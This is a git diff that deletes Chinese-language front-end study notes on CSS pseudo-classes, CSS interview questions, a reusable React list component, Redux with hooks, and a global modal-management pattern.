`:not()` 伪类可以不断级联 - -```css -body :not(div):not(span) { - font-weight: bold; -} -``` - - 表示既不是`
` 也不是` ` 的元素 - -3. `:not()` 伪类目前已支持多个表达式 - -```css -body :not(div, .fancy) { - text-decoration: overline underline; -} -``` - - 表示不是`
`或 `.fancy` 的元素 - -### 告别重置 - -`:not`伪类最大的作用就是可以优化我们过去重置CSS样式的策略,使我们代码更加简介,易于理解,例如: - -```css -.panel{ - display: none; -} - -.panel .active{ - display: block; -} -``` - -实际上我们可以简写成 - -```css -.panel :not(.active){ - display: block; -} -``` - -类似的,希望大家能够培养这种意识,对于遇到需要重置CSS样式的场景,第一反应就是使用`:not`伪类。 - -## 任意匹配伪类 :is() - -### :is()伪类与:matches()伪类及:any()伪类之间的关系 - -2018 年 10 月底,`:matches ()`伪类改名为`:is()`伪类 ([[selectors-4] Rename :matches() to :is() · Issue #3258 · w3c/csswg-drafts](https://github.com/w3c/csswg-drafts/issues/3258)),因为`:is()`的名称更简短,且其语义正好和`:not() `相反。 - -也就是说,`:matches ()`伪类是`:is ()`伪类的前身。然后很有趣的是`:matches ()`还有一个被舍弃的前身,那就是`:any()`伪类,被舍弃的原因是选择器的优先级不准确,`:any()`伪类会忽略括号里面选择器的优先级,而永远是普通伪类的优先级。 - -`:any()`伪类名义上虽然被舍弃了,但是除了 IE/Edge 以外的浏览器都支持,而且很早就支持,现在也都支持,不过都需要添加私有前缀,如`-webkit-any()`以及`-moz-any()`。 - -### 用法 - - `:is()` 将选择器列表作为参数,并选择该列表中任意一个选择器可以选择的元素。这对于以更紧凑的形式编写大型选择器非常有用。 - -```css -/* 选择 header、main、footer 里的任意一个悬浮状态的段落 */ -:is(header, main, footer) p:hover { - color: red; - cursor: pointer; -} - -/* 以上内容相当于以下内容 */ -header p:hover, -main p:hover, -footer p:hover { - color: red; - cursor: pointer; -} -``` - -### :is() 和 :where() 的区别 - -两者的区别在于 `:is()` 计入整体选择器的优先级(它接受优先级最高参数的优先级),而 `:where()` 的优先级为 0。 - -综上,`is()`是一个有用但不被迫切需要的伪类,但是还是很实用的 - -## 任意匹配伪类 :where() - -`:where()`伪类是和`:is()`伪类一同出现的,它们的含义、语法、作用一模一样。唯一的区别就是优先级不一样,`:where()` 伪类的优先级永远是 0。例如: - -```css -:where(.article, section) p {} -``` - -的优先级等同于 `p` 选择器,参数里的选择器的优先级被完全忽略。 - -又如: -```css -:where(#article, #section) .content {} -``` - -的优先级等同于`.content` 选择器 - -### 可容错选择器解析 - -规范将 `:is()` 和 `:where()` 定义为接受一个[可容错选择器列表](https://drafts.csswg.org/selectors-4/#typedef-forgiving-selector-list) - -在 CSS 中使用选择器列表时,如果任何选择器无效,则整个列表被视为无效,即如果某个选择器无法解析,则被视为无效,不正确或不受支持的选择器将被忽略,其他选择器将被使用。 - -```css -:is(:valid, :unsupported) { - /* … */ -} -``` - -即使在不支持 `:unsupported` 的浏览器中,仍将正确解析 `:valid`,而这种写法: - -```css -:valid, -:unsupported { - /* … */ -} -``` - -在不支持 `:unsupported` 浏览器中即使它们支持 `:valid`,仍将忽略。 - -## 关联伪类 :has() - -`:has()`伪类是一个规范制定得很早但浏览器却迟迟没有支持的伪类。如果浏览器能够支持,其功能会非常强大,因为它可以实现类似“父选择器”和“前面兄弟选择器”的功能(提供了一种针对引用元素选择父元素或者先前的兄弟元素的方法),对CSS 的开发会有颠覆性的影响。 - -例如: - -```css -a:has(> svg) [} -``` - -表示匹配包含有``元素的``元素,实现的就是“父选择器”的效果,即根据子元素选择父元素。 - -又如: - -```css -h1:has(+ p) {} -``` - -表示匹配后面跟随`

`元素的`

`元素,实现的就是“前面兄弟选择器”的效果,即根据后面的兄弟元素选择前面的元素。 - -早前这并没有被浏览器所支持,最近查看MDN发现很多浏览器已经支持了~([:has() - CSS(层叠样式表) | MDN](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:has)) - -![image-20221216192303371](https://cdn.yihuiblog.top/images/202212161923485.png) - diff --git "a/src/CSS/\351\235\242\350\257\225\351\242\230/CSS \351\235\242\350\257\225\351\242\230\346\261\207\346\200\273.md" "b/src/CSS/\351\235\242\350\257\225\351\242\230/CSS \351\235\242\350\257\225\351\242\230\346\261\207\346\200\273.md" deleted file mode 100644 index eebfbe18..00000000 --- "a/src/CSS/\351\235\242\350\257\225\351\242\230/CSS \351\235\242\350\257\225\351\242\230\346\261\207\346\200\273.md" +++ /dev/null @@ -1,1529 +0,0 @@ ---- -date: 2022-06-25 -category: -- CSS -- 前端 ---- - -> 参照: -> -> [2022高频前端面试题——CSS篇](https://juejin.cn/post/7098689890933538853) -> -> [「2021」高频前端面试题汇总之CSS篇](https://juejin.cn/post/6905539198107942919) -# CSS 面试题汇总 - -## 一、CSS基础 - -### 1. CSS选择器及其优先级 :star::star: - -| **选择器** | **格式** | **优先级权重** | -| -------------- | ------------- | -------------- | -| id选择器 | #id | 100 | -| 类选择器 | #classname | 10 | -| 属性选择器 | a[ref=“eee”] | 10 | -| 伪类选择器 | li:last-child | 10 | -| 标签选择器 | div | 1 | -| 伪元素选择器 | li:after | 1 | -| 相邻兄弟选择器 | h1+p | 0 | -| 子选择器 | ul>li | 0 | -| 后代选择器 | li a | 0 | -| 通配符选择器 | * | 0 | - -对于选择器的**优先级**: - -- 继承、子类,通用、相邻等:0 - -- 标签选择器、::伪元素选择器:1 (标签 == 元素) -- class 类选择器、:伪类选择器、属性选择器:10 (伪类为不可直接选择的Class) -- id 选择器:100 -- style 内联样式:1000 -- !important: Max - -**注意事项:** - -- !important声明的样式的优先级最高; -- 如果优先级相同,则最后出现的样式生效; -- 继承得到的样式的优先级最低; -- 通用选择器(*)、子选择器(>)和相邻同胞选择器(+)并不在这四个等级中,所以它们的权值都为 0 ; -- 样式表的来源不同时,优先级顺序为:内联样式(style属性) > 内部样式(style标签) > 外部样式(link) > 浏览器用户自定义样式 > 浏览器默认样式。 - -### 2. CSS中可继承与不可继承属性有哪些:star: - -**一、无继承性的属性** - -1. **display**:规定元素应该生成的框的类型 -2. **文本属性**: - -- vertical-align:垂直文本对齐 -- text-decoration:规定添加到文本的装饰 -- text-shadow:文本阴影效果 -- white-space:空白符的处理 -- unicode-bidi:设置文本的方向 - -1. **盒子模型的属性**:width、height、margin、border、padding -2. **背景属性**:background、background-color、background-image、background-repeat、background-position、background-attachment -3. **定位属性**:float、clear、position、top、right、bottom、left、min-width、min-height、max-width、max-height、overflow、clip、z-index -4. **生成内容属性**:content、counter-reset、counter-increment -5. **轮廓样式属性**:outline-style、outline-width、outline-color、outline -6. **页面样式属性**:size、page-break-before、page-break-after -7. **声音样式属性**:pause-before、pause-after、pause、cue-before、cue-after、cue、play-during - -**二、有继承性的属性** - -> 字体文本可见度、列表光标的风格 - -1. **字体系列属性** - -- font-family:字体系列 -- font-weight:字体的粗细 -- font-size:字体的大小 -- font-style:字体的风格 - -2. **文本系列属性** - -- text-indent:文本缩进 -- text-align:文本水平对齐 -- line-height:行高 -- word-spacing:单词之间的间距 -- letter-spacing:中文或者字母之间的间距 -- text-transform:控制文本大小写(就是uppercase、lowercase、capitalize这三个) -- color:文本颜色 - -3. **元素可见性** - -- visibility:控制元素显示隐藏 - -4. **列表布局属性** - -- list-style:列表风格,包括list-style-type、list-style-image等 - -5. **光标属性** - -- cursor:光标显示为何种形态 - -### 3. display的属性值及其作用:star::star: - -| **属性值** | **作用** | -| ------------ | ---------------------------------------------------------- | -| none | 元素不显示,并且会从文档流中移除。 | -| block | 块类型。默认宽度为父元素宽度,可设置宽高,换行显示。 | -| inline | 行内元素类型。默认宽度为内容宽度,不可设置宽高,同行显示。 | -| inline-block | 默认宽度为内容宽度,可以设置宽高,同行显示。 | -| list-item | 像块类型元素一样显示,并添加样式列表标记。 | -| table | 此元素会作为块级表格来显示。 | -| inherit | 规定应该从父元素继承display属性的值。 | - -### 4. display的block、inline和inline-block的区别 :star::star: - -(1)**block:** 会独占一行,多个元素会另起一行,可以设置width、height、margin和padding属性; - -(2)**inline:** 元素不会单独取行,设置width、height属性无效。但可以设置**水平**方向的margin和padding属性,**不能**设置**垂直**方向的padding和margin; - -(3)**inline-block:** 将对象设置为**inline对象(具有inline的属性特点)**,但对象的内容作为block对象呈现,之后的内联对象会被排列在同一行内。 - -对于行内元素和块级元素,其特点如下: - -**(1)行内元素** - -- 设置宽高无效; -- 可以设置水平方向的margin和padding属性,不能设置垂直方向的padding和margin; -- 不会自动换行; - -**(2)块级元素** - -- 可以设置宽高; -- 设置margin和padding都有效; -- 可以自动换行; -- 多个块状,默认排列从上到下。 - -### 5. 隐藏元素的方法有哪些 :star: - -- **display: none**:渲染树不会包含该渲染对象,因此该元素不会在页面中占据位置,也不会响应绑定的监听事件。 -- **visibility: hidden**:元素在页面中仍占据空间,但是不会响应绑定的监听事件。 -- **opacity: 0**:将元素的透明度设置为 0,以此来实现元素的隐藏。元素在页面中仍然占据空间,并且能够响应元素绑定的监听事件。 -- **position: absolute**:通过使用绝对定位将元素移除可视区域内,以此来实现元素的隐藏。 -- **z-index: 负值**:来使其他元素遮盖住该元素,以此来实现隐藏。 -- clip/clip-path :使用元素裁剪的方法来实现元素的隐藏,这种方法下,元素仍在页面中占据位置,但是不会响应绑定的监听事件。 -- **transform: scale(0,0)**:将元素缩放为 0,来实现元素的隐藏。这种方法下,元素仍在页面中占据位置,但是不会响应绑定的监听事件。 - -### 6. link和@import的区别 :star: - -两者都是外部引用CSS的方式,它们的区别如下: - -- link是XHTML标签,除了加载CSS外,还可以定义RSS等其他事务;@import属于CSS范畴,只能加载CSS。 -- link引用CSS时,在页面载入时同时加载;@import需要页面网页完全载入以后加载。 -- link是XHTML标签,无兼容问题;@import是在CSS2.1提出的,低版本的浏览器不支持。 -- link支持使用Javascript控制DOM去改变样式;而@import不支持。 - -### 7. transition和animation的区别 - -- **transition是过度属性**,强调过度,它的实现需要触发一个事件(比如鼠标移动上去,焦点,点击等)才执行动画。它类似于flash的补间动画,设置一个开始关键帧,一个结束关键帧。 -- **animation是动画属性**,它的实现不需要触发事件,设定好时间之后可以自己执行,且可以循环一个动画。它也类似于flash的补间动画,但是它可以设置多个关键帧(用@keyframe定义)完成动画。 - -### 8. display:none与visibility:hidden的区别 :star::star: - -这两个属性都是让元素隐藏,不可见。**两者区别如下:** - -(1)**在渲染树中** - -- `display:none`会让元素完全从渲染树中消失,渲染时不会占据任何空间; -- `visibility:hidden`不会让元素从渲染树中消失,渲染的元素还会占据相应的空间,只是内容不可见。 - -(2)**是否是继承属性** - -- `display:none`是**非继承属性**,子孙节点会随着父节点从渲染树消失,通过修改子孙节点的属性也无法显示; -- `visibility:hidden`是**继承属性**,子孙节点消失是由于继承了`hidden`,通过设置`visibility:visible`**可以让子孙节点显示**; - -(3)修改常规文档流中元素的 `display` 通常会造成文档的重排,但是修改`visibility`属性只会造成本元素的重绘; - -(4)如果使用读屏器,设置为`display:none`的内容不会被读取,设置为`visibility:hidden`的内容会被读取。 - -### 9. **伪元素和伪类的区别和作用?** :star: - -- 伪元素:在内容元素的前后**插入**额外的元素或样式,但是这些元素实际上并不在文档中生成。它们只在外部显示可见,但不会在文档的源代码中找到它们,因此,称为“伪”元素。例如: - -```css -p::before {content:"第一章:";} -p::after {content:"Hot!";} -p::first-line {background:red;} -p::first-letter {font-size:30px;} -``` - -- 伪类:将特殊的效果添加到特定选择器上。它是**已有元素上添加类别**的,不会产生新的元素。例如: - -```css -a:hover {color: #FF00FF} -p:first-child {color: red} -``` - -**总结:** 伪类是通过在元素选择器上加⼊伪类改变元素状态,⽽伪元素通过对元素的操作进⾏对元素的改变。 - -### 10. 对requestAnimationframe的理解 - -实现动画效果的方法比较多,Javascript 中可以通过定时器 setTimeout 来实现,CSS3 中可以使用 transition 和 animation 来实现,HTML5 中的 canvas 也可以实现。除此之外,HTML5 提供一个专门用于请求动画的API,那就是 requestAnimationFrame,顾名思义就是**请求动画帧(浏览器60帧实现方案之一)**。 - -MDN对该方法的描述: - -> window.requestAnimationFrame() 告诉浏览器——你希望执行一个动画,并且要求浏览器在下次重绘之前调用指定的回调函数更新动画。该方法需要传入一个回调函数作为参数,该回调函数会在浏览器下一次重绘之前执行。 - -**语法:** `window.requestAnimationFrame(callback);` 其中,callback是**下一次重绘之前更新动画帧所调用的函数**(即上面所说的回调函数)。该回调函数会被传入DOMHighResTimeStamp参数,它表示requestAnimationFrame() 开始去执行回调函数的时刻。该方法属于**宏任务**,所以会在执行完微任务之后再去执行。 - -**取消动画:** 使用cancelAnimationFrame()来取消执行动画,该方法接收一个参数 —— requestAnimationFrame默认返回的id,只需要传入这个id就可以取消动画了。 - -**优势:** - -- **CPU节能**:使用SetTinterval 实现的动画,当页面被隐藏或最小化时,SetTinterval 仍然在后台执行动画任务,由于此时页面处于不可见或不可用状态,刷新动画是没有意义的,完全是浪费CPU资源。而RequestAnimationFrame则完全不同,当**页面处理未激活的状态下,该页面的屏幕刷新任务也会被系统暂停,因此跟着系统走的 RequestAnimationFrame 也会停止渲染**,当页面被激活时,动画就从上次停留的地方继续执行,有效节省了CPU开销。 -- **函数节流**:在高频率事件( resize, scroll 等)中,为了防止在一个刷新间隔内发生多次函数执行,RequestAnimationFrame可保证每个刷新间隔内,函数只被执行一次,这样既能保证流畅性,也能更好的节省函数执行的开销,一个刷新间隔内函数执行多次时没有意义的,因为多数显示器每16.7ms刷新一次,多次绘制并不会在屏幕上体现出来。 -- **减少DOM操作**:requestAnimationFrame 会**把每一帧中的所有DOM操作集中起来,在一次重绘或回流中**就完成,并且重绘或回流的时间间隔紧紧跟随浏览器的刷新频率,一般来说,这个频率为每秒60帧。 - -**setTimeout执行动画的缺点**:它通过设定间隔时间来不断改变图像位置,达到动画效果。但是容易出现卡顿、抖动的现象;原因是: - -- settimeout任务被放入异步队列,只有当主线程任务执行完后才会执行队列中的任务,因此实际执行时间总是比设定时间要晚; -- settimeout的固定时间间隔不一定与屏幕刷新间隔时间相同,会引起丢帧。 - -### 11. 对盒模型的理解 :star: - -CSS3中的盒模型有以下两种:标准盒子模型、IE盒子模型(怪异盒子) - -盒模型都是由四个部分组成的,分别是margin、border、padding和content。 - -标准盒模型和IE盒模型的区别在于设置width和height时,所对应的范围不同: - -- 标准盒模型的width和height属性的范围**只包含了content**(实际上的和盒子大小会更大) -- IE盒模型的width和height属性的范围**包含了border、padding和content**。 - -可以通过修改元素的box-sizing属性来改变元素的盒模型: - -- `box-sizeing: content-box`表示标准盒模型(默认值) -- `box-sizeing: border-box`表示IE盒模型(怪异盒模型) - -### 12. 为什么有时候⽤**translate**来改变位置而不是定位? - -translate 是 transform 属性的⼀个值。**改变transform或opacity不会触发浏览器重新布局(reflow)或重绘(repaint),只会触发复合(compositions)**。⽽改变绝对定位会触发重新布局,进⽽触发重绘和复合。transform使浏览器为元素创建⼀个 GPU 图层,但改变绝对定位会使⽤到 CPU。 因此translate()更⾼效,可以缩短平滑动画的绘制时间。 ⽽translate改变位置时,元素依然会占据其原始空间,绝对定位就不会发⽣这种情况。 - -### 13. li 与 li 之间有看不见的空白间隔是什么原因引起的?如何解决? - -浏览器会把inline内联元素间的空白字符(空格、换行、Tab等)渲染成一个空格。为了美观,通常是一个`
  • `放在一行,这导致`
  • `换行后产生换行字符,它变成一个空格,占用了一个字符的宽度。 - -**解决办法:** - -(1)为`
  • `设置float:left。不足:有些容器是不能设置浮动,如左右切换的焦点图等。 - -(2)将所有`
  • `写在同一行。不足:代码不美观。 - -(3)将`
  • }> - - and{" "} - {hide.length} more... - - - )} -
    - ); -} -``` - - - -```jsx -// 这里用一个示例数据 -import data from './data'; - -function ListWithMoreExample () => { - return ( -
    -

    User Names

    -
    - Liked by:{" "} - { - return {user.name}; - }} - data={data} - max={3} - /> -
    -
    -
    -

    User List

    -
    -
    - Name - City - Job Title -
    - { - return ( -
    - {user.name} - {user.city} - {user.job} -
    - ); - }} - data={data} - max={5} - /> -
    -
    - ); -}; -``` - -可以看到,代码里使用了两个 ListWithMore 组件,通过 renderItem 这个属性,我们可以自主决定该如何渲染每一个列表项,从而把一部分 UI 逻辑抽象出来,形成一个可复用的逻辑,以简化不同场景的使用。 diff --git "a/src/React/React Hooks\347\254\224\350\256\260/\345\234\250\345\207\275\346\225\260\347\273\204\344\273\266\344\270\255\344\275\277\347\224\250 Redux.md" "b/src/React/React Hooks\347\254\224\350\256\260/\345\234\250\345\207\275\346\225\260\347\273\204\344\273\266\344\270\255\344\275\277\347\224\250 Redux.md" deleted file mode 100644 index f627ee5c..00000000 --- "a/src/React/React Hooks\347\254\224\350\256\260/\345\234\250\345\207\275\346\225\260\347\273\204\344\273\266\344\270\255\344\275\277\347\224\250 Redux.md" +++ /dev/null @@ -1,235 +0,0 @@ ---- -date: 2022-05-19 -category: -- React -- Redux ---- - -# 在函数组件中使用 Redux - -## Redux 出现的背景 - -组件级别的 state,和从上而下传递的 props 这两个状态机制,无法满足复杂功能的需要。例如跨层级之间的组件的数据共享和传递。我们可以从下图的对比去理解: - -![img](https://cdn.yihuiblog.top/images/f3ba61ff5de2c3c6fbd658a22c00bf46.png) - -其中左图是单个 React 组件,它的状态可以用内部的 state 来维护,而且这个 state 在组件外部是无法访问的。而右图则是使用 Redux 的场景,用全局唯一的 Store 维护了整个应用程序的状态。可以说,对于页面的多个组件,都是从这个 Store 来获取状态的,保证组件之间能够共享状态。 - -Redux Store 的两个特点: - -1. **Redux Store 是全局唯一的**。即整个应用程序一般只有一个 Store。 -2. **Redux Store 是树状结构**,可以更天然地映射到组件树的结构,虽然不是必须的。 - -我们通过把状态放在组件之外,就可以让 React 组件成为更加纯粹的表现层,那么很多对于业务数据和状态数据的管理,就都可以在组件之外去完成(后面课程会介绍的 Reducer 和 Action)。同时这也天然提供了状态共享的能力,有两个场景可以典型地体现出这一点。 - -1. 跨组件的状态共享:当某个组件发起一个请求时,将某个 Loading 的数据状态设为 True,另一个全局状态组件则显示 Loading 的状态。 -2. 同组件多个实例的状态共享:某个页面组件初次加载时,会发送请求拿回了一个数据,切换到另外一个页面后又返回。这时数据已经存在,无需重新加载。设想如果是本地的组件 state,那么组件销毁后重新创建,state 也会被重置,就还需要重新获取数据。 - -## 理解 Redux 的三个基本概念 - -Redux 引入的概念其实并不多,主要就是三个:State、Action 和 Reducer。 - -- State 即 Store,一般就是一个纯 JavaScript Object。 -- Action 也是一个 Object,用于描述发生的动作。 -- Reducer 则是一个函数,接收 Action 和 State 并作为参数,通过计算得到新的 Store。 - -img - -在 Redux 中,所有对于 Store 的修改都必须通过这样一个公式去完成,即通过 Reducer 完成,而不是直接修改 Store。这样的话,一方面可以保证数据的不可变性(Immutable),同时也能带来两个非常大的好处。 - -1. 可预测性(Predictable):即给定一个初始状态和一系列的 Action,一定能得到一致的结果,同时这也让代码更容易测试。 -2. 易于调试:可以跟踪 Store 中数据的变化,甚至暂停和回放。因为每次 Action 产生的变化都会产生新的对象,而我们可以缓存这些对象用于调试。Redux 的基于浏览器插件的开发工具就是基于这个机制,非常有利于调试。 - -举个栗子:+1和-1操作 - -```js - -import { createStore } from 'redux' - -// 定义 Store 的初始值 -const initialState = { value: 0 } - -// Reducer,处理 Action 返回新的 State -function counterReducer(state = initialState, action) { - switch (action.type) { - case 'counter/incremented': - return { value: state.value + 1 } - case 'counter/decremented': - return { value: state.value - 1 } - default: - return state - } -} - -// 利用 Redux API 创建一个 Store,参数就是 Reducer -const store = createStore(counterReducer) - -// Store 提供了 subscribe 用于监听数据变化 -store.subscribe(() => console.log(store.getState())) - -// 计数器加 1,用 Store 的 dispatch 方法分发一个 Action,由 Reducer 处理 -const incrementAction = { type: 'counter/incremented' }; -store.dispatch(incrementAction); -// 监听函数输出:{value: 1} - -// 计数器减 1 -const decrementAction = { type: 'counter/decremented' }; -store.dispatch(decrementAction) -// 监听函数输出:{value: 0} -``` - -通过这段代码,我们就用三个步骤完成了一个完整的 Redux 的逻辑: - -1. 先创建 Store; -2. 再利用 Action 和 Reducer 修改 Store; -3. 最后利用 subscribe 监听 Store 的变化。 - -## 如何在 React 中使用 Redux - -在 react-redux 的实现中,为了确保需要绑定的组件能够访问到全局唯一的 Redux Store,利用了 React 的 Context 机制去存放 Store 的信息。通常我们会将这个 Context 作为整个 React 应用程序的根节点。因此,作为 Redux 的配置的一部分,我们通常需要如下的代码: - -```jsx -import React from 'react' -import ReactDOM from 'react-dom' - -import { Provider } from 'react-redux' -import store from './store' - -import App from './App' - -const rootElement = document.getElementById('root') -ReactDOM.render( - - - , - rootElement -) -``` - -完成了这样的配置之后,在函数组件中使用 Redux 就非常简单了:利用 react-redux 提供的 useSelector 和 useDispatch 这两个 Hooks。 - -Hooks 的本质就是提供了让 React 组件能够绑定到某个可变的数据源的能力。在这里,当 Hooks 用到 Redux 时可变的对象就是 Store,而 useSelector 则让一个组件能够在 Store 的某些数据发生变化时重新 render。 - -以官方给的计数器例子为例,说明如何在 React 中使用 Redux: - -```jsx -import React from 'react' -import { useSelector, useDispatch } from 'react-redux' - -export function Counter() { - // 从 state 中获取当前的计数值 - const count = useSelector(state => state.value) - - // 获得当前 store 的 dispatch 方法 - const dispatch = useDispatch() - - // 在按钮的 click 时间中去分发 action 来修改 store - return ( -
    - - {count} - -
    - ) -} -``` - -此外,通过计数器这个例子,我们还可以看到 React 和 Redux 共同使用时的单向数据流: - -![img](https://cdn.yihuiblog.top/images/b6991fd03d27ee987b1cd29ae16552e0.png) - -需要强调的是,在实际的使用中,我们无需关心 View 是如何绑定到 Store 的某一部分数据的,因为 React-Redux 帮我们做了这件事情。总结来说,通过这样一种简单的机制,Redux 统一了更新数据状态的方式,让整个应用程序更加容易开发、维护、调试和测试。 - -## 使用 Redux 处理异步逻辑 - -比如对于发送请求获取数据这样一个异步的场景,我们来看看涉及到 Store 数据会有哪些变化: - -1. 请求发送出去时:设置 state.pending = true,用于 UI 显示加载中的状态; -2. 请求发送成功时:设置 state.pending = false, state.data = result。即取消 UI 的加载状态,同时将获取的数据放到 store 中用于 UI 的显示。 -3. 请求发送失败时:设置 state.pending = false, state.error = error。即取消 UI 的加载状态,同时设置错误的状态,用于 UI 显示错误的内容。 - -前面提到,任何对 Store 的修改都是由 action 完成的。那么对于一个异步请求,上面的三次数据修改显然必须要三个 action 才能完成。那么假设我们在 React 组件中去做这个发起请求的动作,代码逻辑应该类似如下: - -```jsx -function DataList() { - const dispatch = useDispatch(); - // 在组件初次加载时发起请求 - useEffect(() => { - // 请求发送时 - dispatch({ type: 'FETCH_DATA_BEGIN' }); - fetch('/some-url').then(res => { - // 请求成功时 - dispatch({ type: 'FETCH_DATA_SUCCESS', data: res }); - }).catch(err => { - // 请求失败时 - dispatch({ type: 'FETCH_DATA_FAILURE', error: err }); - }) - }, []); - - // 绑定到 state 的变化 - const data = useSelector(state => state.data); - const pending = useSelector(state => state.pending); - const error = useSelector(state => state.error); - - // 根据 state 显示不同的状态 - if (error) return 'Error.'; - if (pending) return 'Loading...'; - return ; -} -``` - -但是很显然,发送请求获取数据并进行错误处理这个逻辑是不可重用的。假设我们希望在另外一个组件中也能发送同样的请求,就不得不将这段代码重新实现一遍。因此,Redux 中提供了 middleware 这样一个机制,让我们可以巧妙地实现所谓异步 Action 的概念。 - -简单来说,middleware 可以让你提供一个拦截器在 reducer 处理 action 之前被调用。在这个拦截器中,你可以自由处理获得的 action。无论是把这个 action 直接传递到 reducer,或者构建新的 action 发送到 reducer,都是可以的。 - -Middleware 正是在 Action 真正到达 Reducer 之前提供的一个额外处理 Action 的机会: - -![img](https://cdn.yihuiblog.top/images/b438a3e944c5f15911637868e78cd13a.png) - -我们刚才也提到了,Redux 中的 Action 不仅仅可以是一个 Object,它可以是任何东西,也可以是一个函数。利用这个机制,Redux 提供了 redux-thunk 这样一个中间件,它如果发现接受到的 action 是一个函数,那么就不会传递给 Reducer,而是执行这个函数,并把 dispatch 作为参数传给这个函数,从而在这个函数中你可以自由决定何时,如何发送 Action。 - -例如对于上面的场景,假设我们在创建 Redux Store 时指定了 redux-thunk 这个中间件: - -```js -import { createStore, applyMiddleware } from 'redux' -import thunkMiddleware from 'redux-thunk' -import rootReducer from './reducer' - -const composedEnhancer = applyMiddleware(thunkMiddleware) -const store = createStore(rootReducer, composedEnhancer) -``` - -那么在我们 dispatch action 时就可以 dispatch 一个函数用于来发送请求,通常,我们会写成如下的结构: - -```js -function fetchData() { - return dispatch => { - dispatch({ type: 'FETCH_DATA_BEGIN' }); - fetch('/some-url').then(res => { - dispatch({ type: 'FETCH_DATA_SUCCESS', data: res }); - }).catch(err => { - dispatch({ type: 'FETCH_DATA_FAILURE', error: err }); - }) - } -} -``` - -那么在我们 dispatch action 时就可以 dispatch 一个函数用于来发送请求,通常,我们会写成如下的结构: - -```js -import fetchData from './fetchData'; - -function DataList() { - const dispatch = useDispatch(); - // dispatch 了一个函数由 redux-thunk 中间件去执行 - dispatch(fetchData()); -} -``` - -所以说异步 Action 并不是一个具体的概念,而可以把它看作是 Redux 的一个使用模式。它通过组合使用同步 Action ,在没有引入新概念的同时,用一致的方式提供了处理异步逻辑的方案。 - - \ No newline at end of file diff --git "a/src/React/React Hooks\347\254\224\350\256\260/\345\246\202\344\275\225\345\261\225\347\244\272\345\257\271\350\257\235\346\241\206\357\274\214\345\271\266\347\273\231\345\257\271\350\257\235\346\241\206\344\274\240\351\200\222\345\217\202\346\225\260\357\274\237.md" "b/src/React/React Hooks\347\254\224\350\256\260/\345\246\202\344\275\225\345\261\225\347\244\272\345\257\271\350\257\235\346\241\206\357\274\214\345\271\266\347\273\231\345\257\271\350\257\235\346\241\206\344\274\240\351\200\222\345\217\202\346\225\260\357\274\237.md" deleted file mode 100644 index c1d753e7..00000000 --- "a/src/React/React Hooks\347\254\224\350\256\260/\345\246\202\344\275\225\345\261\225\347\244\272\345\257\271\350\257\235\346\241\206\357\274\214\345\271\266\347\273\231\345\257\271\350\257\235\346\241\206\344\274\240\351\200\222\345\217\202\346\225\260\357\274\237.md" +++ /dev/null @@ -1,268 +0,0 @@ ---- -date: 2022-08-18 -category: -- React -- React Hooks ---- - -# 如何展示对话框,并给对话框传递参数? - -案例导入:处理对话框的误区为了方便你理解这两点,我给你举一个实际场景的例子,你就能明白为什么说在 React 中,常用的对话框是比较难处理的。比如说我们需要实现下面这个截图演示的功能: - -![img](https://cdn.yihuiblog.top/images/202208181101388.png) - -那么,一般会用类似下面的代码逻辑去实现: - -```jsx -function MainLayout() { - const [modalVisible, setModalVisible] = useState(false); - const [user, setUser] = useState(null); - const showUserModal = (user) => { - setModalVisible(true); - setUser(user); - } - return ( -
    - - showUserModal(user)}/> - -
    - ); -} -``` - -在这段代码中,我们将 UserInfoModal 这个对话框组件定义在了父组件 Layout 中,通过 visible 控制其是否显示。然后再在 Sider 和 UserList 这两个组件中,用自定义事件来告知父组件,用户点击了某个按钮了,应该显示对话框。 - -### 存在问题 - -**一、语义隔离不明** - -MainLayout 这个组件应该只做布局的事情,而不应该有其他的业务逻辑。但是在这里,由于我们加入了用户信息处理的逻辑,就让本不相关的两块功能产生了依赖。而且,如果要增加另外一个对话框,那意味着又要在 Layout 上增加新的业务逻辑了。这样的话,代码很快就会变得臃肿,且难以理解和维护。 - -**二、 难以扩展** - -现在我们只是在 MainLayout 下面的两个组件共享了对话框,但是如果和 MainLayout 同级的组件也要访问这个对话框呢?又或者, MainLayout 下面的某个深层级的孙子组件也要能显示同一个对话框呢?这样处理的话就会非常麻烦。前者意味着代码需要重构,继续提升状态到父组件;后者意味着业务逻辑处理更复杂,需要通过层层的自定义事件回调来完成。所以,按照 React 方式的做法,或者大多数教程上演示的对话框的用法,其实在实际项目中是会遇到上面所述的各种问题。 - -**而这些问题的本质就是,一个实现业务逻辑的 Modal 究竟应该在哪个组件中去声明?又该怎么和它进行交互呢?** - -## 思路: 使用全局状态管理所有的对话框 - -基于这样一个设想,我们就来尝试去设计一个 API 去做对话框的全局管理。假设我们将这个对话框的实现命名为 NiceModal,那么我们的目标就是能够用以下的方式去操作对话框: - -```js - -// 通过 create API 创建一个对话框,主要为了能够全局的控制对话框的展现 -const UserInfoModal = NiceModal.create( - 'user-info-modal', - RealUserInfoModal -); - -// 创建一个 useNiceModal 这样的 Hook,用于获取某个 id 的对话框的操作对象 -const modal = useNiceModal('user-info-modal'); -// 通过 modal.show 显示一个对话框,并能够给它传递参数 -modal.show(args); -// 通过 modal.hide 关闭对话框 -modal.hide(); -``` - -## 实现:创建 NiceModal 组件和相关 API - -首先要考虑的便是如何管理全局状态,在这里我们以 Redux 为例,来创建一个可以处理所有对话框状态的 reducer: - -```js -const modalReducer = (state = { hiding: {} }, action) => { - switch (action.type) { - case "nice-modal/show": - const { modalId, args } = action.payload; - return { - ...state, - // 如果存在 modalId 对应的状态,就显示这个对话框 - [modalId]: args || true, - // 定义一个 hiding 状态用于处理对话框关闭动画 - hiding: { - ...state.hiding, - [modalId]: false, - }, - }; - case "nice-modal/hide": - const { modalId, force } = action.payload; - // 只有 force 时才真正移除对话框 - return action.payload.force - ? { - ...state, - [modalId]: false, - hiding: { [modalId]: false }, - } - : { ...state, hiding: { [.modalId]: true } }; - default: - return state; - } -}; -``` - -这段代码的主要思路就是通过 Redux 的 store 去存储每个对话框状态和参数。在这里,我们设计了两个 action ,分别用来显示和隐藏对话框。特别要注意的是,这里我们加入了 hiding 这样一个状态,用来处理对话框关闭过程的动画,确保用户体验。为了让 Redux 的 action 使用起来更方便,我们可以定义一个 useNiceModal 这样的 Hook,在其内部封装对 Store 的操作,从而实现对话框状态管理的逻辑重用,并以更友好的方式暴露给用户: - -```js - -// 使用 action creator 来创建显示和隐藏对话框的 action -function showModal(modalId, args) { - return { - type: "nice-modal/show", - payload: { - modalId, - args, - }, - }; -} - -function hideModal(modalId, force) { - return { 